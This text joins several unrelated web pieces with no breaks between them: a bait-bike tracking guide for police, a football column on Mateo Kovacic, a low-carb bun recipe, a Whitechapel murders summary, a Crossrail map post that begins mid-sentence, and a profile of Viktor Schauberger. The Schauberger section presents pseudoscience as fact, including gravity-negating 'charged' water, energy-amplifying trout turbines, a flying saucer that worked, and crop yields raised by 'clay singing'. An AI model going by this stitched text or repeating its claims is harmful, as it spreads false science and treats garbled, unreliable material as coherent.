The main weakness of RF tracking is the limited tracking range, usually only a couple of miles. Some of the most successful deployments of RF tracking technology in bait bikes have occurred with agencies already utilizing a BlueTracs (Formerly ETS) bank robbery tracking system and then adding a bait bike into the system on the same frequency as the bank robbery tags. This offers all existing BlueTracs-equipped patrol vehicles the capability to immediately track the bait bike as well. An important fringe benefit to using the BlueTracs equipment for bait bike tracking is that it gives officers additional practice using the BlueTracs system, honing their tracking skills and making them more efficient and effective when a bank robbery occurs.
While RF tracking technology is a good tracking solution for this purposer, especially in BlueTracs equipped cities, GPS tracking is what most people think of when contemplating tracking a stolen bicycle—and with good reason. GPS trackers are now the size of a small cell phone and accuracy can be better than three meters when used outdoors. With their ability to be tracked nationwide, GPS solutions have begun finding their way into the law enforcement tool bag. However, one must be aware that GPS trackers do have limitations and have seen only limited success in bait bike tracking applications due to the following limitations: hiding a GPS tracker on a bicycle can be challenging due to the requirement of the GPS antenna to have a view of the sky. There are simply very few places on a bicycle in which one can hide a GPS device. Second, the accuracy of GPS when indoors is greatly reduced, prohibiting officers from pinpointing the bike’s location to a specific vehicle, house or apartment if the bike is not in direct view of the sky. Third, the latency in obtaining GPS location updates can make it very difficult to capture a moving bike thief until he reaches his destination.
To overcome these individual technology limitations, the ideal bait bike tracking solution should draw from the combined strengths of both GPS and radio-tracking technologies. The theory is that the GPS device will give virtually nation-wide tracking range and will almost always pinpoint the bait bike’s location to within a couple hundred feet. At this point, the RF transmitter, along with a hand-held tracking receiver, will lead officers to the exact location of the bike even if hidden inside a large building or storage facility.
A few solution providers now offer bait bike tracking solutions that utilize such a combination, some combining both GPS and RF technologies into one device, and others offering separate GPS and RF devices. While a single tracking device can be easier to install, a combination of multiple devices has the advantage of modular redundancy. If the thief finds and disables one of your devices, there is a backup.
Ready for Deployment
Once you have obtained your bait bike and have it outfitted with the tracking devices, recorded the bike’s serial number, taken photographs, had the bike appraised, tested and practiced with the tracking equipment, the bike is ready for deployment.
When deployed, a cheap $5 cable lock is ideal for locking up the bait bike and is fairly easy for a thief to cut through. Also, the application of invisible ultraviolet clue spray or clue powder to the bike’s hand grips makes suspect identification possible in the event the bike is tracked to a house full of people. This can often make or break a bait bike case and is very much a necessity.
A consideration is whether or not to publicize your agency’s use of this new tool. While many agencies prefer to keep secret the fact that they are using bait bikes, others have embraced getting the word out. The San Francisco Police Department, which has a small fleet of bait bikes, follows the latter ideology and has had great success with their bait bike program. Sergeant Matthew Friedman, who has been running SFPD’s bait bike program for the past several years, had this to say; “From the law enforcement perspective, the days of being overly secretive in deployment of bait bikes are over. Publicizing the utilization of bait bikes with comprehensive social media and public relations campaigns has a two-fold effect, it sends a message to thieves that they now take a risk when stealing bikes, and it shows the public that law enforcement is actively doing something about this type of crime.” It’s unknown how effective publicizing the use of a bait bike actually is, but as long as your tracking devices are hidden very well on your bike, it shouldn’t have any negative implications.
Setting up a bait bike can be a bit of a challenge as there are a lot of technicalities to consider, but with the proper research and planning, the payoff can be priceless. The effectiveness of a properly designed and executed bait bike program will undoubtedly continue to pay dividends for years to come.These observations — where I look at Real Madrid’s history, its players on loan, Castilla, tactical tidbits, and other relevant thoughts -- are now a regular weekly thing. All previous editions can be found here.
Five years ago, Dinamo Zagreb were building a team around two auspicious young phenoms -- Mateo Kovacic and Alen Halilovic. It was short-lived — even at at a club like Zagreb that was always going to cash in on top talents. Just one year into the Kovacic - Halilovic reign, the former was prematurely sold to an alert Inter side ready to take a gamble on a box-to-box predator. Since then, Halilovic and Kovacic have gone their separate ways -- Kovacic carving out his path in the world’s best club that’s deeply stocked at his position, and Halilovic dropping into Gran Canaria as a journeyman yet to find a home.
Halilovic may have broken Kovacic’s record as the youngest goalscorer in Croatian football league history, but as years pass, the discrepancy in talent, footballing IQ, and pure efficiency on the pitch between the two, have become clear-cut. Kovacic is now navigating his way into Croatia’s most exciting young talent.
When Kovacic signed for Real Madrid, Halilovic recognized the central midfield shift from Catalunya to Madrid. Mateo — a draftee who impressed in black-and-blue, taking over from Wesley Sneijder’s #10 admirably — was joining the heaviest midfield artillery on earth. He would’ve been a great signing for Barcelona, who are still treading water in the post-Xavi era with rickety role players like Andre Gomes and Denis Suarez.
"I don't know why Barça didn't sign Kovacic,” Halilovic said in 2015. “He's really, really good. He's a player with a really bright future.”
Real Madrid are not foreign to incorporating Croatian talents into their team. Kovacic is the fifth Croat to don the white shirt, following a line of players since 1990. Chronologically: Robert Prosinecki (an expensive signing in the Cacic era in the early 90s, who, had his Real Madrid career torpedoed by injuries), Davor Suker (World Cup 98’s top-scorer, future corrupt Croatian Football President), Robert Jarni (FIFA 98 reserve player that never made an appearance on my Nintendo 64), and the unparalleled Luka Modric.
Prosinecki was really good, by the way, even if his Real Madrid career hadn’t unfolded ideally. When Kovacic emerged on the scene in 2011, then Croatian U-17 head-coach Martin Novoselac said Mateo was the most talented Croatian player he’d seen since Prosinecki.
Kovacic has a unique style of play, making it onerous for us to draw parallels for him. But Prosinecki comes close. Aesthetically, they’re not clones; but like Kovacic, Prosinecki was an elite ball-carrier capable of carving through 40 yards of grass and unnerving back-peddling defenders.
Prosinecki and Kovacic both are (were) high-adrenaline players; but Mateo’s mentor is the serene Luka Modric -- the cold-blooded artist who slows down time to implement his will on the game. On the pitch, Kovacic is lauded as Modric’s heir, but they have little in common stylistically. Off the pitch, the bond between the two is unmistakable.
Real Madrid really drew this up masterfully, assuming Kovacic keeps developing the way he is. In Modric, they acquired a player ultimately destined to enter all-time-XI discussion. He has yet to age, but his character, coupled with Kovacic’s humble talent, is a perfect gig for all parties involved. Real Madrid’s succession plan in midfield is straight out of the Football 101 Modus Operandi.
Modric has always been open to grooming Kovacic, even going so far as proclaiming Kova as his rightful heir. When the time comes, Modric will take a backseat. The two have a mutual respect for each other.
Last season, when Modric went down injured, Kovacic stepped in masterfully as a box-to-box general alongside Toni Kroos — and ditto when he filled in alongside Modric for the injured Kroos. Kovacic was cutting off passing lanes, thieving possession high up the pitch, and playing in slick passes through slender channels that opposing defenders had assumed were zipped up.
It’s easy to spew the accolades of Isco and Marcelo — two backbreaking creators that defensive schemes can’t plan for; but we rarely talk about Kovacic’s scheme-crumbling ability as a ball-courier.
Kovacic attributes a lot of his confidence to Modric’s mentorship. "I visited Modric after his injury and he told me I was ready to take on the responsibility,” Kovacic said during Modric’s injury last season. “The hardest part is replacing Modric, because he does things that are extremely hard to do in football". A year prior, Kovacic said that Modric “did a lot” to get him here.
Luka believes Mateo is a future Balon D’or winner. There is grounds to this statement -- it’s not just smoke or biased love. Everyone who’s been around Kovacic day-in and day-out is swayed by his delicate technique, combative effort, and humble — yet confident — drive.
When Kovacic signed for Inter, after a surprise phone call from his agent which reportedly proclaimed: “Pack your bags, you’re going to Inter”, Croatian footballing legend Zvonimir Boban knew the Nerazzuri had made the right move.
“The player has talents that could make him even better than me. He is an incredibly serious professional for someone his age. Kovačić is a complete player. He is not a born regista but he is playing there now. He is a complete talent that can still grow – he has incredible potential.”
Around that time, people were still figuring out what kind of player Kovacic was. Prosinecki was akin; but even still, Kova was carving his own path. He’s a central midfielder, yet, different from Modric, Kroos, Iniesta, or Xavi. He’s versatile, much like Dani Ceballos; though he needs to be in the right scheme. As a lone anchor, he suffers; but surround him with defensive help in the middle, and he’ll excel as a watchful shield and adhesive force for his teammates. We now often look at some of the younger players like Aleix Febas and see traces of Kovacic’s style trickle down to the new generation. We are not witnessing the next Modric here, instead, we are witnessing the arrival of Mateo Kovacic — a new breed of footballer who covers multiple positions.
Former Inter manager Giovanni Trapattoni once compared Kovacic to a ‘raging bull’ rather than any particular player, although, he also clarified his point:
“He isn’t a director like [Andrea] Pirlo. Given Kovacic’s style of play and his technical characteristics he’s more of a mix of Kaka and Seedorf. Kovačić tends to dribble, has a lot of technique and great acceleration. He’s a class player and I think his skills should be exploited to the best.”
Somehow, somewhere, the Croatian media even compared him to Lionel Messi.
“I’m always a little embarrassed when people compare me with Messi,” Kovacic said. “I do not even have ten percent of his talents.”
Kovacic didn’t go through the same war-torn struggle that his mentor Luka Modric did, but he went down his own path of struggles. At the age of 13, despite having interest from clubs like Bayern, Juve, Inter, and Ajax; his family opted to move him to Zagreb. Two years later, he broke his leg and had to endure a long path to recovery. The stepping stones he’s taken en route to the Bernabeu require an extra dose of mental persistence. For Kovacic, it’s still surreal.
Mateo recalls responding to his agents phone call about the Inter deal: “I said ‘Seriously?’ It was like a dream for me, and I can’t really describe what I feel at the moment”.
Kovacic is just 23 — yet to enter his prime. He is surrounded by mentors and young competitors breathing down his neck. This is going to be a fun season for Madridistas — just to see how the depth chart unfolds in central midfield if nothing else. Get a good seat on the Kovacic train, folks. We are still in the early stages of his exciting journey, and it promises to be a renowned ride.When you’re no longer eating wheat flour it makes it difficult to eat a normal sandwich. I find I don’t want lettuce wraps ALL the time. 🙂 This sandwich bun is so tasty it has become my go-to low-carb bread. I’m most pleased with this recipe and am finding the batter very versatile. I’m getting a lot of happy feedback from my readers on this one, too! This is actually just my Gluten-Free Grain Free Focaccia Bread batter made into a bun shape. This bread has a very neutral flavor, a nice elasticity, nice top and bottom crust, and is not crumbly. I enjoyed a piece hot from the oven with butter and it was amazing! It makes GREAT sandwiches! No strong flax taste to drown out the sandwich filling! Very neutral in flavor. You can also make pizza crust from this batter. 🙂 This recipe is suitable once you reach Phase 2 OWL of Atkins and Keto diets.
More delicious low-carb recipes can be at your fingertips with your very own set of Jennifer Eloff and friends’ best-selling cookbooks LOW CARBING AMONG FRIENDS. She has collaborated with famous low-carb Chef George Stella and several other talented cooks to bring you a wealth of delicious recipes you are going to want to try. Even a few of my recipes are in the cookbooks! Order your 5-volume set TODAY! (also available individually) from Amazon or: http://amongfriends.us/order.php
DISCLAIMER: I do not get paid for this book promotion or for the inclusion of my recipes therein. I do so merely because they are GREAT cookbooks any low-carb cook would be proud to add to their cookbook collection.
INGREDIENTS:
½ c. almond flour
¼ c. golden flax meal
¼ c. unflavored, unsweetened whey protein powder
1 tsp. baking powder
3 T. cream cheese, softened
2 large eggs, beaten
1 c. grated Monterrey Jack cheese
½ c. grated Mozzarella cheese
1 tsp. cider vinegar
1 T. heavy cream
1 T. water
OPTIONAL: Spices of your choosing (or cinnamon/sweetener, for a sweet version) sprinkled on top before baking.
DIRECTIONS: Preheat oven to 350º. Soften cream cheese in medium mixing bowl in microwave. Beat in the eggs, cream, water, vinegar and both cheeses. Measure and add in all the dry ingredients and stir well with a rubber spatula. Line a sheet pan either with parchment paper or silicone sheet. Dip the batter onto the prepared pan in 9 equal piles (I used a ¼ c. measuring cup). Spread it out into round bun shapes as evenly as possible with your rubber spatula or the back or a spoon. Batter will be about ¼” thick. Sprinkle on spices if using any. Pop buns into 350º oven and bake for about 20 minutes or until done to the touch in the center and lightly browned around the edges. Cool a few minutes. When totally cool, store in plastic bag in refrigerator. Slice each into a top and bottom for your buns. These keep about 2 weeks or a little longer as a rule. Can be frozen up to 1 month or so.
NUTRITIONAL INFO: Makes 9 bi-valve buns, each contains: These can be sliced laterally to form the thinner slices of bread for toasting and other uses, but the numbers below are for 1 whole sandwich bun (top and bottom).
149 calories
11.5 g fat
3.5 g carbs, 2.1 g fiber, 1.4 g NET CARBS
10.1 g protein
204 mg sodiumThe Whitechapel murders were committed in or near the impoverished Whitechapel district in the East End of London between 3 April 1888 and 13 February 1891. At various points some or all of these eleven unsolved murders of women have been ascribed to the notorious unidentified serial killer known as Jack the Ripper.
Most, if not all, of the victims—Emma Elizabeth Smith, Martha Tabram, Mary Ann "Polly" Nichols, Annie Chapman, Elizabeth Stride, Catherine Eddowes, Mary Jane Kelly, Rose Mylett, Alice McKenzie, Frances Coles, and an unidentified woman—were prostitutes. Smith was sexually assaulted and robbed by a gang. Tabram was stabbed 39 times. Nichols, Chapman, Stride, Eddowes, Kelly, McKenzie and Coles had their throats cut. Eddowes and Stride were killed on the same night, minutes and less than a mile apart; their murders were nicknamed the "double event", after a phrase in a postcard sent to the press by someone claiming to be the Ripper. |
some of the central London ones having different tube stations at each end. For example, the Liverpool Street Crossrail Station’s western entrance is actually at Moorgate, the next tube station along:
Tottenham Court Road Crossrail Station is a particularly complex set of tunnelling, as it has to link with both the Central and Northern lines already there, while the new lines themselves are some way to the south of both of them. There’s also some short links for integrating with a future Crossrail 2 line, and the map includes the huge new ticket hall which has already opened – with passages to Crossrail blocked with blue walls until opening day in late 2018. Ironically, no part of the new station is actually on Tottenham Court Road, which runs away to the north from Oxford Street:
Entrance to the new ticket hall, approximately where the “pond” is in the map above:
Bond Street Crossrail Station also lies to the south of the existing tube station, so includes a link snaking north to it, as well as some additional mysterious tunnels even further north – possibly capacity enhancement for the existing Jubilee Line part of the station? (As pedants will know well, there is no street actually called “Bond Street” in central London):
Here’s the general route of the Crossrail tunnels through central London:
Explore the interactive map here – with the tunnel detail appearing as you zoom right in.
Images from the Crossrail website. The maps use the Esri ArcGIS Online platform. Use shift+scroll to zoom in/out. You can toggle on/off archaeological finds and current works, on the map. The photo is Copyright Transport for London.Water Ways of Life Viktor Schauberger Due to the number of unsung geniuses seeking to innovate our lives and the life or our planet, we have continued the creative genius section of the LightNet News to shed light on the possibilities we have open to us if we only knew of the knowledge and achievements available to us. In this edition we are looking at the life and work of Viktor Schauberger, a well read but formally uneducated man who lived the greater proportion of his life observing and learning from nature. His insights and applications are so beautiful in their simplicity and in their application so harmonious with nature that his work and ideas deserve far greater recognition. In fact our planet is crying out for inventions based on Bio-technology such as Schauberger's to become the norm of our industrial economy. Schauberger was born on 30th June 1885 in Austria into a family who had been foresters for over 400 years and who had originated from a German Aristocratic land owning family dating back to 1230 AD at which time they had lost their lands in Germany. Viktor was happy to continue his family tradition and once wrote "From my earliest childhood it was my greatest ambition to become a forest warden like my father, grandfather, great grandfather and his father before him" (p18 Living Water by Olof Alexandersson) As a boy he showed great interest in everything to do with nature. He would roam the whole day among the forests around Lake Plockenstein which was almost untouched by human hands. From this background Viktor learnt to trust his observations and intuitive awareness, as had his father and his grandfather. He learnt from them that water when in shaded mountain areas produced plants and vegetation at their richest, and that fields irrigated by water transported to them at night yielded greater harvests than neighbouring meadows and fields. From his research in adult life Viktor was able to explain the significance of water's properties and devise various methods for promoting and maintaining water at its optimum level of purity and vitality. Viktor's knowledge of the properties of water proved to have ecological and economic benefits. During the winter of 1918 a series of storms had brought down many trees up in the hillsides, while further down in the valley the town of Linz was suffering from a serious shortage of fuel. All animals and men had been taken to serve the war effort and there were no large watercourses by which to transport the timber. However Viktor was able to bring down the logs through a small stream which ran through narrow gorges. Viktor had observed that the mud banks that built up after the increased flow from a thaw was dispersed during clear cool nights when the water temperature was at its lowest. Using his knowledge Viktor waited for the time when the water current would be at its strongest, which was during the early hours of the morning when the moon was full. Viktor directed when the right moment would be for the timber to enter the water and in one night 1600 cubic metres of timber were brought down the mountain to a temporally constructed pond in the valley. After World War l Viktor was employed by Prince Adolf Schauberg-Lippe who gave him responsibility for over 21,000 hectares of almost virgin forest land in Bernerau, Steyerling. Viktor used his position to investigate the forests and its streams, one of the first anomalies he encountered was a previously opulent mountain stream had unexpectedly dried up after the old stone hut which stood over its source had been dismantled, exposing the spring to the light and sun. Various explanations were considered and finally the suggestion to rebuild the stone hut was followed up and after a while the spring returned. Viktor grew quite sure that water responded to the shade of the forests from which it sprang. He begun to perceive water as the life blood of the earth and surmised that it must be allowed to follow its own course if it is to remain unspoilt. Viktor concluded that watercourses are shaped by winding curves and shaded banks to protect itself from direct sunlight and that its low temperature and natural flow was the condition necessary for water to preserve its supportive and carrying strength. Another phenomena that captured Viktor's imagination was gathered from his observation of the trout's ability to jump high watercourses with apparently so little effort. Again this phenomena occurred during the moonlight hours of the night. On one particular occasion when Viktor was sitting waiting to catch a fish poacher he observed the manner of how a particularly large fish used the currents of the water to jump up and over its upper curve. After decades of such observations, Viktor concluded that a natural watercourse allows for a natural build up of energy that flows in the opposite direction to the water, it is this energy that is used by the trout. "In a suitably formed waterfall this energy flow can be distinguished as a channel of light within the streaming water. The trout seeks out this energy flow and is sucked upwards as if in a whirlpool" (p22 ibid.) A repetition of this phenomenon repeated itself giving rise to Viktor's new ideas of motion: "I did not trust my generally observant eyes anymore, when suddenly an almost head-sized stone begun to move in a circular path in the same way as a trout before leaping over a waterfall. The stone was egg-shaped. In the next instance the stone was on the surface of the water, around which a circle of ice quickly formed. It appeared to float on the water surface, lit by the full moon. Then a second, a third, followed by other stones in sequence went through the same movements. Eventually nearly all the stones of the same egg shape were on the surface. Other stones of irregular or angular shape remained below and did not move. At the time I naturally had no idea that it was a case of synchronicity of events, leading to a unique form of movement. This movement overcomes the force of gravity and allows the stones of regular shape to come to the surface of the water." (p.23 ibid.) Victor later used these observations to initiate designs for generating power and motion that worked in harmony with nature in that they did not produce toxic emissions. For Viktor nature is the foremost teacher so that the task of technology is not to correct nature but to imitate it, 'kapieren und kopeiren' was the principle that guided him throughout his life, 'first understand nature and then copy it.' (p.34 ibid.) The years after the war brought radical changes in the way the land was used, deforestation scourged the land as a means of producing revenue. The ecological changes this brought was first noticed along the water courses. The removal of the forest canopy and the rich vegetation beneath brought a warming and drying effect upon the soil. Water falling as rain found it increasingly difficult to penetrate the soil. Under natural conditions, water sinking deeper and deeper into the soil undergoes rapid cooling until the weight of this mass of water above equals the pressure of the deeply drained water. The latter warmed by the earth's heat, wants to rise as its specific weight falls. During this heating the water is able to attract and bind metals and salts, carbon being particularly important. The water/steam molecules becoming CO+H2. It is this separation of the oxygen from the hydrogen molecules that creates the gas needed to force the water up towards the earth's surface as springs or even as great geysers. During this process salts are dissolved and carried away with the gas to be deposited in layers near the surface which is kept cool by the refrigerator effect of the vegetation. In turn the roots of the vegetation are given a constant supply of nutrition. This process of water maturation and soil enrichment is broken when the plants and trees are cut down and this leads to several imbalances: The soil increasingly requires artificial fertilization which run off into the water and lead to all sorts of catastrophes.
The water table will not rise as there will not be the constant blend of cool surface water and heated/steam from the sub strata.
If a spring dies water is alternatively pumped from the underground water table but from Viktor's observations and research this water is immature and by not having passed through its complete cycle is unfit to drink by humans animals or plants.
Such immature water does not have the vitalising effects of water that is driven to the surface by the earth's heating process and therefore does not carry with it the salts and minerals which give it strength and vitality.
Immature water from Viktor's assessments has a leaching effect draining the surrounding organisms of the minerals.
The tapping of the subterranean water runs the risk of exhausting the earth's reserves of immature water. Viktor went on to study the present decline of the river Rhine and concluded it was a clear depiction of the tragic effects of deforestation and convention water regulation. The mistreated and degenerated river of today was once a mighty river with such crystal clear water that the river could be seen at a depth of several metres. "At night when the supporting power of the water was greatest, stones carried down stream bumping and scraping each other, discharged a glowing yellow light from the river bottom that gave rise to the folktales of dwarves who made wonderful jewellery in their smithies on the bottom of the Rhine. In the opera Rhinegold Richard Wagner uses this story as his theme." (p.45 ibid.) Degeneration of the river began with the cutting of the Swiss Alps in the region of the Rhine source. This disturbed the balance and the river began to silt up. To increase the velocity of the water's flow and to enable the river to clear its path meanders and bends were straightened. Light from the river bottom gave rise to the folktales of dwarves who made wonderful jewellery in their smithies. This brought more eroded material downstream and so the process was repeated until the river was completely straightened and the whole river begun to silt up. Through the initial act of forest clearance, the storing and cooling effect of forest was lost. As the precipitation could no longer be stored, all the rain water ran off at once, damaging river side vegetation and the surrounding stones and soil. This brought about the concreting and continual repair of the river banks and the constant dredging of the water way. As each heavy downpour in the mountains brought a raising of the water levels rushing downstream with deposits of stone gravel and soil. Alarmed at these consequences Viktor petitioned the German authorities with letters and articles which both criticised their methods and proposed alternative measures: "To lower the level of the Rhine by 4 to 6 meters is simply a question of increasing the carrying capacity of the river. It involves regulating the water temperature, and would cost only a fraction of the amount required for the usual method of flood prevention. It is nonsensical to attempt dredging. One case of flooding is sufficient for the locks which have been dredged, to fill up again. One has only to think that each year the Rhine washes downstream about 100,00 cubic metres of mud and gravel. Equally every rise in the riverbank causes an increase in the danger of a breakthrough, which is in fact unavoidable if there is flooding and the water is warm. I should be invited to make suggestions instead. For a small cost danger of flooding would be averted forever. I would not ask for payment until the bed of the Rhine had sunk some 2 metres." (p.47 ibid) The authorities did not take up Viktor's offer and continue to this day to use the traditional methods of river management. For more details of Viktor's alternative methods of maintaining the flow of watercourse see pp. 47-8 'Living Water' by Olof Alexandersson. 'Water Wizard' Callum Coats translation of Viktor Schauberger. Inventions of Viktor Schauberger Later in his life after witnessing the deterioration of the land and its water ways Viktor produced a number of inventions to counteract the catastrophes propagated by industrialisation. From the observable environmental problems, Viktor concluded that there must be fundamental design errors in the technology which produced such upheavals in nature or at least produces such poor results. For example steam and internal combustion engines work on less than 50% of their capacity. As always he looked to nature to find the answer and the solution he found was that harmful technologies were using the wrong sort of motion. Nature frequently uses the hyperbolic spiral which is externally centripetal and internally moves towards the centre, such spirally movements are found in the spiral nebula of galaxies in space, in the natural flow of water, blood and sap. While the centrifugal force used by current technology, occurs in nature in its destructive aspects, on occasions for dissolving energy, pushing the medium from the centre outwards towards the periphery in straight lines. The particles of the medium being first weakened and then dissolved and broken up. "Nature uses this action to disintegrate complexes which have lost their vitality or have died" (p. 77 ibid.) Characteristically the centripetal, hyperbolic spiral movement is symptomatic of falling temperature, contraction and concentration while the centrifugal movement is synonymous with raising temperature, heat extension, expansion and explosion, "in nature there is a continual switch from one movement to the other, but if development is to occur then the movement of growth must be predominant." (p.77 ibid.) Biotechnology Viktor investigated a new motor fuel that could be used in ordinary combustion engines, but without the dangerous waste products. He discovered that water in a constructive hyperbolic motion has the ability to bring about the syntheses of hydro-carbons suitable for fuel. In Viktor's experiments "water sprayed into a cylinder and a quantity of natural oxygen is added, a light heat pressure created by a descending piston is sufficient to transform the highly potent water into gas." (p.84 ibid.) In 1931-52 Viktor continued to work on constructing a machine designed to produce energy directly from air and water. With no solid results, he turned his attention again to the trouts' ability to jump in the mountain streams, by harnessing energy from the water. He concluded that the water passing through the trouts' gills created a hyperbolic centripetal spiral movement, this combined with the trace elements within the gills, and changed the passing water into 'juvenile' water which by its new characteristic reacted with the surrounding stream water creating a secondary system of water circulation around the trouts' bodies. By regulating this pressure within the gills, the trout can either stand stock still or move lightening fast against the stream. Viktor was at this time without employment and there were many who would see his work immobilised, but under these difficult circumstances he set about designing a machine that copied the trout phenomena. Viktor worked alone on a machine that would create a reaction on an atomic level, similar to the results of hydro-fusion experiments. However instead of violently compressing the atoms in hydrogen gas to create helium and a release of energy. Viktor wanted to'screw' together water and air without resistance in the same way he perceived occurred in nature. His invention was developed into a domestic power station in which a small output of an electrical motor was multiplied many times in a trout turbine and used to drive a larger electrical generator. "The spiral feature of this apparatus was the amplification of input energy, and the fact that the water as it pours out of the outlets rose to the top of the system to be re-circulated. Schauberger claimed that the water rose because it was so strongly charged with biological magnetism, negating gravity" (p.87 ibid.) In 1958 the last model of this machine was taken to the USA and kept by the Americans. Viktor also observed that like the trout, birds move through air using hyperbolic, centripetal spiral movements, when air flows through their feathers during flight, a strong counter circulation of updraft is created carrying the birds forward and upwards. Using this hypothesis Viktor developed an aircraft engine which would work on the same principle as the trout turbine but by using air as the fuel source. It would suck in air and convert it to fuel while flying, and at the same time create a vacuum in from in front of itself in which it could move continuously without resistance. By the beginning of WWII Aloys Kokaly begun working with Viktor who was then developing flying objects driven by biotechnic means. These designs were taken up by Hertl, an industrial company and the reports were that the energy produced by these unusual mechanism were hard to control, one going through the rook of the factory. In 1943 Viktor was conscripted during WWII and after a short term as a commandant of a parachute company in Italy, he went on to design a submarine on the same principle as the trout turbine. Viktor was recalled by Himmler to further his research based in the concentration camp at Mauthausen. He was to be given charge of a scientific team of technicians and physicians drawn from among the prisoners or alternatively he could be hanged. Viktor worked at the SS college insisting that his helpers no longer be regarded as prisoners, an intensive period of study began which lead to the initiation of a 'flying saucer' powered by a trout turbine. The results of the research were both a success and a failure. Viktor describes in a letter to the West German defence minister Strauss on 28/2/1956; After about a year " the first 'flying saucer' rose unexpectedly, at the first attempt, to the ceiling, and then was wrecked. A few days later an American group appeared, who seemed to understand what was happening, and seized everything. Then, after a very thorough investigation by a high-ranking officer, I was taken in protective custody, and guarded by no less than six policemen for about six months. An important part of the apparatus was found in my apartment by the Russians." (p.93-94 ibid.) The Russians blew up Viktor's apartment when they left, probably to destroy any information they may have overlooked. Viktor had been working with a number of Russian prisoners of war who were later returned to the Soviet Union. It was surmised that the Russian's rapid advanced into space rocketry involved the use of Viktor's ideas. In 1956 Viktor wrote of his immediate post war experiences; "At the end of the war, I was confined for nearly a year by the American forces of occupation because of my knowledge of atomic energy production. After my release, under the threat of re-arrest, I was forbidden to take up again any research in the atomic energy field, although it would have been concerned with new aspects of this technology. After the signing of the Far East Peace Treaty, I did take up my work once again. Since the end of the war I had lost all my assets, work proceeded slowly. I was refused any foreign financial aids, which is the reasons for the delay of the working models, but once the patents were granted, the matter was resolved." (p.94 ibid.) After his release Viktor moved to Linz and with limited finances he turned the attention of his research to agriculture. Viktor wrote; "The farmers work hand in hand with our foresters. The blood of the earth continuously weakens, and the productivity of the soil decreases. There is fortunately an awareness of the necessity of fertilizing, but now the chemist enters the scene and scatters his salts. After only a few years there is evidence that soil treated with artificial fertilizer is reduced to dross. It is another example of man working against Nature and happily obstructing the last remaining source of nutrition, the capillary system of the soil. The field which had previously given the farmer abundance of produce had begun to deteriorate. He instinctively sought the solution by using his deep plough, thus destroying the system of capillaries in the soil. Now the same thing is happening in our forests. Externally everything seems to ripen and thrive, but it is only a façade. The ripening had emerged from putrid ground; the fruits of decay are cancer." (p.96 ibid.) For Viktor the growth process revolved around a sequence of the charging and discharging of energy. Growth is a balancing of the charges between the differing electrical voltage between the atmosphere and the earth. If the charge is to be utilized there must be some form of insulation between the two voltage polarities, or else there is only a wasteful short circuit. Viktor discusses this insulation in great detail, he describes it as a skin that the earth must have around it and it is important that the ground must not be stripped bare but must always have a covering of vegetation or something else. He concluded that if the forest can no longer provide a source of good water and if the water courses become Stagnant the water can no longer build up the important ground voltage. This encourages the formation of pathogens, disease producing parasitic bacteria that lower the quality of the produce grown. In an essay published in 'Natural Farming' Viktor describes an old farmer considered eccentric even though none of his neighbours could boast of such good harvests. Viktor describes how one day he came upon the old farmer standing in front of a large wooden barrel stirring its contents with a large wooden spoon while singing a musical scale into the barrel rich in tone, ranging from falsetto to double base. As he went up the scale he rotated the spoon in an anti-clockwise motion. When his voice deepened he changed the direction of the rotation. Upon approaching, Viktor saw that the barrel was full of clear water into which the farmer flicked bits of loamy soil while he continued to stir. When the farmer finished he left it to ferment. By talking to the farmer Viktor discovered that clay mixed in cool water with air-evacuated carbonic acid which is then stirred in the right way will take on a neutral voltage. When this neutrally charged water was then sprinkled over newly harrowed and sown fields and left to evaporate it would leave a coat of exceedingly fine crystals which carried a negative charge. These crystals attract rays from all directions and then radiates them out again. From this a fine membrane, violet in colour between the geosphere and atmosphere builds up which acts as a filter allowing only rays in the highest value to enter and leave the earth. The farmer referred to this membrane as the virgin's hymen. By this means the seed zone between the geosphere and the atmosphere remains at a practically constant temperature of +4 C even in the driest parts of the year the soil remains cool and moist. At this temperature the crop structure is at its highest potential and as a result of this simple caring for the surface breathing of the earth an increase in crops of some 30% was obtained compared with where it was not carried out. This process of caring for the natural breathing action of the earth was called 'clay singing' Viktor learnt other techniques from this farmer. It was important not to use metal ploughs and to plough furrows at right angles to the sun, this was called sun ploughing. Viktor set out to investigate the factual basis for these traditions. Through his careful observations Viktor found that when an iron plough was used, the heat generated by the ploughing action softened the outer layer of the iron so that a residue of iron dust was left over the soil. These iron particles quickly left a coating of rust which discharged the electrical voltage between the moisture, soil, and atmosphere, and so drained the earth of its potential for growth. Both the physical motion of ploughing and the after effects of iron dust lead to a drying and warming of the soil which is detrimental to its fertility. In response to his findings Viktor focused on using copper, as copper rich soils retain their ground moisture well. He set out to test an iron plough coated with copper and the results proved very favourable to the copper which showed a 17-35% increase. When applied to a large farm near Salzburg the production level rose by 50%. On an hill farm outside Kitzbhul the quantity increased as well as an increase in quality, the crops were resilient to pests while neighbouring farms were attacked and the nitrogen requirements of the soil were reduced. During 1951-52 tests were carried out by the farming chemical test station, using iron machinery, iron with added copper sulphate and a third area of copper only. Again the copper proved a remarkable success. In 1948 Viktor had signed a contract with a company in Salzburg for the production of a large number of copper ploughs. However before the assignment was completed Viktor was visited by the Treasury Director from Salzburg's treasury office. The Director's purpose was to acquire a percentage of Viktor's profits since he was at present receiving a royalty from the nitrogen industry for encouraging farmers to use more nitrogen. If the farmers were to change to copper ploughs the need for a nitrogen supplement would be permanently diminished and so the Director demanded compensation. Viktor was furious and sent him packing. However shortly after his contract was terminated by the company and representatives from the local agricultural society begun warning farmers against using the copper plough as it would lead to over production and the eventual fall in prices. However in 1950 Viktor and Rosenberger and engineer obtained a patent on a method for coating the active surfaces of farm machinery with copper. Viktor went on to develop his plough further, looking next into its movement through the soil, he concentrated on whether the conventional plough even functions in a correct biologically manner. Again he worked on the principle that the soil should be moved in a centripetal motion, and through observing nature at work he designed the spiral plough based on the movements of a burrowing mole. The curling blades of the plough meant that the soil would be worked with almost no resistance, rendering it free from pressure and friction and the warming effect that leads to moisture loss from the soil. *See diagram inset. The design of the spiral plough was meant only for turning the surface layer of the soil. Viktor was against deep ploughing as were the biologically and ecologically influenced farming community, who thought this only disturbed the work of the micro-organisms and upset the natural levelling of the mouldy top soil. It seems that Viktor's designs for maintaining soil temperature and moisture through the use of the copper coated spiral plough, would be of most benefit in the arid regions of the earth, which through earth changes have become increasingly dryer and its people increasingly in need of food and drinking water. While in the industrialised world the increasing use and subsequent need of fertilizers is poisoning and deteriorating the soil and drinking water. Viktor also designed a way of creating compost that increased the soils vitality and so its resistance to pathogens and vegetation disease. He was strictly against the use of phosphate, it being a product of the blast furnace which drains the soil of strength, and any artificial fertilizer that had been subject to fire or warmth, which disrupts the life processes, producing food that will in the long run be harmful to the human body, draining the physical and spiritual energies of the person eating them. (See bottom 